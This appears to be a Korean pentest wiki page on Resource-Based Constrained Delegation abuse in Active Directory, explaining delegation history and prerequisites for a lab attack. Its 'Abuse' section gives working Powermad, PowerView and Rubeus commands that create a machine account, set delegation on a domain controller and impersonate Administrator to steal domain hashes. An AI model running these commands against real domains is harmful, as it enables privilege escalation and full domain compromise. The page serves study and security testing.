Resource Based Constrained Delegation

제약없는 위임의 경우 Kerberos 인증을 사용하지 않을 때의 호환성 문제와, 위임이 구성된 객체의 제어권이 탈취당할 경우 공격자는 객체의 메모리에 캐시된 모든 사용자의 TGT를 악용할 수 있는 문제가 있었습니다.

제약된 위임의 경우 위임이 구성된 객체의 메모리에 사용자들의 TGT를 캐시하는 대신, 객체가 특정 서비스에 대해서는 모든 사용자들을 가장하여 접근할 수 있도록 설정하여 이용 가능한 서비스를 제한함으로써 보안성의 향상을 기대했습니다. 하지만 이 역시 Alternate Service Name에서 설명하는 것처럼 SPN을 임의로 변경해도 KDC는 이를 검사하지 않는 것에서 권한 남용 가능성이 있습니다.

위와 같은 두가지 방식은 모두 제어권을 프론트엔드에 위임하는 방식의 구성입니다. 실제 서비스를 운용하는 백엔드에 대한 가장 권한을 프론트엔드에서 구성함에 따라 백엔드는 자신에게 가장하여 접근하는 객체가 어떤 것인지 모르며, 프론트엔드가 침해당할 시 백엔드는 그대로 타격받을 수 없다는 보안상의 문제가 대두되었습니다. 부가적으로는 두 위임 방식은 도메인 관리자 권한을 요구하기 때문에 불편함이 있었습니다. 이러한 상황에서 Windows Server 2012에 리소스 기반의 위임 방식이 추가되었으며 이는 백엔드에서 위임 구성을 함에 따라 기존의 보안 문제를 해결하는데 집중했습니다.

RBCD 위임 속성

첫 번째로 기존의 위임 방식들은 도메인 사용자 중 SeEnableDelegationPrivilege 권한이 있는 계정만이 위임에 관련된 도메인 객체 속성을 변경할 수 있는 반면, RBCD는 객체에 대한 적절한 속성 변경 제어권(WriteProperty, GenericAll, GenericWrite, WriteDacl)만 있다면 위임 구성이 가능합니다.

두번째로 어떤 객체가 사용자를 가장하여 서비스 티켓을 요청할 수 있는지에 관해 프론트엔드가 아닌 백엔드(서비스를 배포하는 주체)가 정의합니다. 리소스 관리 계정의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성에 위임을 허용할 객체의 SID를 기입하게 되면 위임이 구성됩니다.

RBCD 공격 흐름 다이어그램

RBCD 공격을 수행하기 위해선 다음 두가지 환경 중 한가지를 만족해야 합니다.

  • RBCD이 설정된 머신 계정의 제어권 획득

  • RBCD 구성을 추가하여 공격하기 위해 머신 계정에 대한 적절한 권한 및 제어권 획득

두번째 방법의 경우 머신에 대한 msDS-AllowedToActOnBehalfOfOtherIdentity 속성 값을 변경해야 하기 때문에 아래의 DACL 중 한 가지 이상을 가지고 있어야 합니다.

또한 해당 값에는 머신 계정만 위임할 수 있기 때문에 도메인 머신 계정의 자격 증명을 획득하거나 MAQ 값이 1 이상인 도메인 사용자 계정을 통해 머신 계정을 생성해야 합니다.

Abuse

# 필요한 라이브러리 업로드 및 호출
Import-Module Powermad.ps1
Import-Module PowerView.ps1

# 머신 계정 생성 및 SID 확인
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer -Identity attackersystem -Properties objectSid

# SID를 아래 명령어에 그대로 삽입
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;; <SID>)"
$rsdb = New-Object byte[] ($rsd.BinaryLength)
$rsd.GetBinaryForm($rsdb, 0)
Get-DomainComputer -Identity "DC01" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

# 객체 속성 조회
Get-DomainComputer -Identity "DC01" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

# RC4 해시 발급 및 티켓 요청
./Rubeus.exe hash /password:Password123!
./Rubeus.exe s4u /user:attackersystem$ /rc4:<rc4> /impersonateuser:Administrator /msdsspn:cifs/DC01.PENTEST.LOCAL /ptt /nowrap

Practice

Attack3r 계정이 DC01$에 대한 높은 권한이 있고 머신 계정을 생성하여 DC01$의 위임 구성에 생성한 머신을 추가하는 환경을 가정합니다. 물론 도메인 컨트롤러에 대해 높은 권한이 있다면 DCSync를 사용할 수 있지만 이 환경은 예시일 뿐입니다. 실제로는 머신 계정이나 사용자 계정이 보유한 서비스에 대해서 다른 사용자를 가장할 수 있습니다.

위임 구성 적용

이제 ABUSE$ 계정은 DC01$의 서비스에 대해 가장할 수 있는 권한이 있으므로 도메인 관리자의 서비스 티켓을 요청하여 도메인 해시를 탈취합니다.

도메인 해시 탈취

References

Last updated

Was this helpful?